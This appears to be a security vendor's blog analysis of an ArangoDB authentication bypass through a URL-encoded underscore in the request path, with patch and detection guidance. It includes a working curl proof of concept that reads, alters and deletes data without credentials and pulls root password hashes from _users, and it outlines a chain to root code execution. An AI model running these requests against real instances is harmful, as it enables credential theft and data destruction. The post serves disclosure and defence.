Automated Threat Modeling

Quick Look: ArangoDB CVE-2026-126755, an Authentication Bypass via URL-Encoded Underscore (with PoC)

A summary of CVE-2026-126755, an authentication bypass in ArangoDB before 3.12.11 caused by a parser differential between the raw-path auth gate and URL-decoded dispatch. Includes PoC, patch, and detection details.

CVE Analysis

11 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-18

Quick Look: ArangoDB CVE-2026-126755, an Authentication Bypass via URL-Encoded Underscore (with PoC)

Introduction

An unauthenticated attacker who swaps a single underscore for its percent-encoded form, %5f, can reach ArangoDB's privileged /_api/* actions as superuser, reading, modifying, and deleting documents across every database. The exposed data includes the _system _users collection, which holds password hashes and salts, so reading root's credentials on a reachable, default-configured instance is trivial.

ArangoDB is a multi-model database that combines graph, document, and full-text search, marketed by its vendor as a complete and scalable graph database. The reviewed materials do not establish its market share, so we treat the vendor positioning as a description rather than a ranking. What matters here is the flaw itself and the available patch, detection, and credential-rotation guidance.

Technical Information

CVE-2026-126755 is an authentication bypass classified as CWE-288 (authentication bypass using an alternate path or channel). The root cause is a parser differential: two parts of the server disagree about what the request path says.

  • The auth gate reads the raw path. RestActionHandler::hasAllowedUnauthenticatedPath() decides whether a request counts as a public Foxx route. It uses request()->requestPath(), which is never URL-decoded. Any path that does not start with /_ is treated as public. When --server.authentication-system-only is on (the default), those requests are served without credentials and run in a superuser ExecContext.
  • The dispatcher reads the decoded path. The action lookup uses decodedSuffixes(), which runs urlDecodePath on each path segment and turns %5f into _.

So a path like /%5fapi/simple/... passes the gate as a public path, then runs the real _api/simple/* action with superuser rights. The flaw affects single server and coordinator roles when authentication-system-only is true and the deployment is reachable over HTTP.

The key trick is to encode the leading underscore directly: use %5fapi. The double-underscore variant %5f_api decodes to __api and returns 404, so those requests indicate sloppy probing rather than a successful bypass.

Attack flow

  1. An attacker identifies a reachable ArangoDB instance running an affected version with authentication enabled. A baseline unauthenticated PUT to the literal path /_db/_system/_api/simple/first-example returns 401, confirming authentication is on.
  2. The attacker resends the same request with the leading underscore of _api encoded as %5f: PUT /_db/_system/%5fapi/simple/first-example. The gate sees a non-/_ path, serves it anonymously, and escalates to superuser.
  3. The dispatcher decodes %5fapi back to _api and routes the request to the real _api/simple/* JavaScript action, which executes with root-equivalent authority.
  4. Using the simple endpoints, the attacker reads documents (first-example), modifies them (update-by-example), and deletes them (remove-by-example) across any collection, including _users, where password hashes and salts live.

RCE chain

The _users disclosure yields weak single-round SHA-256 hashes with a 32-bit salt. Since 2026-09-13 a public PoC chains this bug with GHSA-rvhw-4hpw-9vrx (the authenticated REST task handler trusts a client-supplied isSystem:true, creating an Internal-context JavaScript task) to reach unauthenticated remote code execution as the arangod OS user (root in the official image). The chain: a %5f-encoded read of root authData, crack the weak hash or write to _users unauthenticated, log in via /_open/auth, then PUT /_api/tasks/{id} with isSystem:true to write a root crontab that crond executes as uid=0(root).

Proof of Concept

The vendor advisory GHSA-rrgq-978q-36mq includes a runnable PoC, validated against the official arangodb:3.12 image (server 3.12.10) with authentication on (the default):

docker run -d --name arango -e ARANGO_ROOT_PASSWORD=test1234 -p 8529:8529 arangodb:3.12 B=http://127.0.0.1:8529 # baseline: the real path requires auth curl -s -o /dev/null -w "%{http_code}\n" $B/_db/_system/_api/simple/first-example # -> 401 # seed a document (as the admin, for the demo target) curl -s -u root:root -X POST $B/_api/collection -d '{"name":"secretdata"}' >/dev/null curl -s -u root:root -X POST "$B/_api/document/secretdata" -d '{"_key":"k1","flag":"TOP-SECRET"}' >/dev/null # ATTACK - no credentials, encode the leading "_" of "_api" as %5f: curl -s -X PUT "$B/_db/_system/%5fapi/simple/first-example" -d '{"collection":"secretdata","example":{}}' # -> {"document":{"_key":"k1","flag":"TOP-SECRET"...},"error":false,"code":200} curl -s -X PUT "$B/_db/_system/%5fapi/simple/update-by-example" \ -d '{"collection":"secretdata","example":{"_key":"k1"},"newValue":{"flag":"PWNED"}}' # -> {"updated":1,"error":false,"code":200} curl -s -X PUT "$B/_db/_system/%5fapi/simple/remove-by-example" -d '{"collection":"secretdata","example":{}}' # -> {"deleted":1,"error":false,"code":200} # read password hashes out of the _users system collection, unauthenticated: curl -s -X PUT "$B/_db/_system/%5fapi/simple/first-example" -d '{"collection":"_users","example":{"user":"root"}}' # -> {"document":{"user":"root","authData":{"simple":{"hash":"...","salt":"...","method":"sha256"}...}}}

All attack requests return HTTP 200 with data identical to authenticated root, while the literal-underscore baseline returns 401. The advisory also references a helper poc_path_confusion.py that reproduces the parser differential side by side.

An independent reproduction, Pruva REPRO-2026-00355, provides a downloadable reproduction_steps.sh that runs the full unauthenticated-to-root-RCE chain twice against the official image digest sha256:01be938f... (3.12.10.1) and confirms 3.12.11 (digest sha256:39bbca48...) blocks both the encoded read/update (401) and the isSystem:true task (403). The observed proof included uid=0(root) command output via a root crontab written through the Internal JS task.

Patch Information

ArangoDB fixed this in 3.12.11. The vendor advisory lists every version up to and including 3.12.10.1 as vulnerable and 3.12.11 as the patched release. The code change is commit 43ec7fbac1a5abeff0d64e3a7b29099976e1fcfc, titled "Fixityfix" by Markus Pfeiffer on 2026-08-24. It changes one file, arangod/Actions/RestActionHandler.cpp, adding 7 lines and removing 1. The GitHub compare API shows v3.12.11 is 134 commits ahead of this commit and 0 behind, so the fix is part of the 3.12.11 release.

The fix makes the gate decode the path before checking it, so it sees the same string the dispatcher acts on:

@@ -143,8 +143,14 @@ bool RestActionHandler::hasAllowedUnauthenticatedPath() const { auto const* const auth = AuthenticationFeature::instance(); ADB_PROD_ASSERT(auth->isActive()); auto const& path = request()->requestPath(); + + // requestPath contains raw path, but this check relies on decoded paths + auto isUnauthenticatedFoxxPath = [](std::string_view path) { + return !path.empty() && !StringUtils::urlDecodePath(path).starts_with("/_"); + }; + return auth->authenticationSystemOnly() && // TODO remove in 4.0 - !path.empty() && !path.starts_with("/_"); + isUnauthenticatedFoxxPath(path); }

How it works:

  1. Same decoder on both sides. The new isUnauthenticatedFoxxPath lambda calls StringUtils::urlDecodePath, the same helper GeneralRequest::decodedSuffixes() uses for routing. Because both sides decode the same way, /%5fapi/... now becomes /_api/... before the starts_with("/_") test. The gate classifies it as a system path, so the request is no longer granted anonymously and no longer escalated (_mustEscalateToSuperuser stays false).
  2. Fixed where it matters most. This one function controls both outcomes: turning a DENIED result into GRANTED, and setting _mustEscalateToSuperuser = true. Fixing it closes the unauthenticated access and the privilege escalation together.
  3. Small, targeted change. The patch does not change HttpRequest::parseUrl, so requestPath() still returns the raw path. The decoding happens only inside this security check. The flip side is that any other check comparing requestPath() against /_ prefixes would still have the raw-versus-decoded gap, and the advisory names only this gate as the bypass point.
  4. Old behaviour still exists. The authenticationSystemOnly() branch and its // TODO remove in 4.0 comment remain. Foxx routes are still served without authentication in the default configuration; the difference is that encoded system paths can no longer pass as Foxx routes.

The advisory reports that an independent test confirmed 3.12.11 blocks both steps of the public exploit chain that pairs this bug with GHSA-rvhw-4hpw-9vrx. It also warns that installing 3.12.11 does not undo exposure that already happened: because _users hashes could be read without authentication, admins should rotate the root password, all other user passwords, and the JWT secret or keyfile after upgrading.

Detection Methods

There is one public detection check for this bug: ProjectDiscovery's Nuclei template arangodb-auth-bypass, which the CVE record lists as a reference. The reviewed sources contained no public Sigma, YARA, Snort, or Suricata rules and no attacker IPs, domains, or hashes. VulnCheck reports that Shadowserver first saw exploitation evidence on 2026-09-16, so review past logs as well as current exposure.

1. Active scanning with Nuclei

The template sends two requests and reports a finding only if both conditions hold (flow: http(1) && http(2)):

  1. Baseline: an unauthenticated PUT to the normal /_api/simple/first-example path must return 401. This confirms authentication is on and avoids false positives on servers with authentication disabled.
  2. Bypass probe: the same request to the %5fapi path must return 200, and the body must contain a returned document from the _users collection with "error":false.

The matching logic, taken directly from the template:

flow: http(1) && http(2) ... matchers: - type: dsl dsl: - 'status_code == 401' internal: true ... PUT /_db/_system/%5fapi/simple/first-example HTTP/1.1 ... unsafe: true matchers: - type: dsl dsl: - 'contains(body, "\"document\"") && contains(body, "_users/") && contains(body, "\"error\":false")' - 'status_code == 200' condition: and

Things to keep in mind: unsafe: true makes Nuclei send the raw path without normalizing it, which matters because many HTTP clients and proxies would decode %5f to _ before sending and hide the bug. A positive result means the scanner actually read a record from _users, which holds password hashes, so run it only against authorized systems and treat any hit as a confirmed compromise path. The template's metadata includes the Shodan query http.title:"ArangoDB Web Interface" for finding your own internet-facing instances.

2. Passive detection in HTTP, proxy, and WAF logs

The exploit must put an encoded underscore in the request path, which makes it visible in logs. GBHackers' write-up advises reviewing reverse-proxy, WAF, and application logs for %5fapi or %5Fapi, especially when followed by API paths. Practical tips:

  • Match case-insensitively. %5f and %5F decode the same way.
  • Log the raw URI. If your logging layer records only the decoded path, the attack looks like an ordinary /_api/... call. Keep the original request line.
  • Watch the /_db/<name>/%5fapi/... form. The vendor's examples use it, and the encoded segment comes right after the database prefix.
  • Prioritize the simple API endpoints used in the PoC: simple/first-example, simple/update-by-example, and simple/remove-by-example, usually sent as PUT with a JSON body.
  • Flag with highest priority a %5fapi request with no credentials that gets a 200 response. A 401 for the literal form and a 200 for the encoded form from the same client is a strong sign of exploitation.
  • Body content: requests whose JSON body names the _users collection suggest someone is trying to steal password hashes.
  • Do not ignore error responses. Remedio's research, as reported by GBHackers, notes that a 405 Unsupported method on an encoded path still shows the request got past authentication. Attackers probing for the bug may produce 405 or 404 errors before a successful 200. The double-underscore variant %5f_api decodes to __api and returns 404, which points to sloppy probing rather than a successful bypass.

3. Post-exploitation hunting

Because this bypass can be chained with GHSA-rvhw-4hpw-9vrx for root-level code execution, GBHackers' reporting recommends hunting for unexpected scheduled tasks (especially task definitions containing isSystem: true), changes to database system collections (especially _users), and unusual outbound traffic from ArangoDB servers. Unexplained changes to user records, or documents changed or deleted without a matching authenticated session, are worth investigating.

4. Version-based exposure checks

If scanning is not possible, inventory-based checks work. The vendor advisory gives the affected range as <= 3.12.10.1, fixed in 3.12.11. The bug only applies when --server.authentication-system-only is true (the default) on single-server and coordinator roles. Recording each instance's version, role, and that setting gives an accurate exposure picture without sending any exploit traffic.

Affected Systems and Versions

  • Affected: ArangoDB versions up to and including 3.12.10.1 (the CVE record gives the broad range as versions before 3.12.11).
  • Fixed: 3.12.11.
  • Vulnerable configuration: single server and coordinator roles with --server.authentication-system-only set to true (the default), reachable over HTTP.
  • Severity: CVSS 3.1 score 9.8 per the repository advisory (network attack vector, low complexity, no privileges required, no user interaction, high confidentiality, integrity, and availability impact). NVD displays VulnCheck's CVSS 4.0 score of 9.3 and states that NIST has not yet provided its own assessment.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization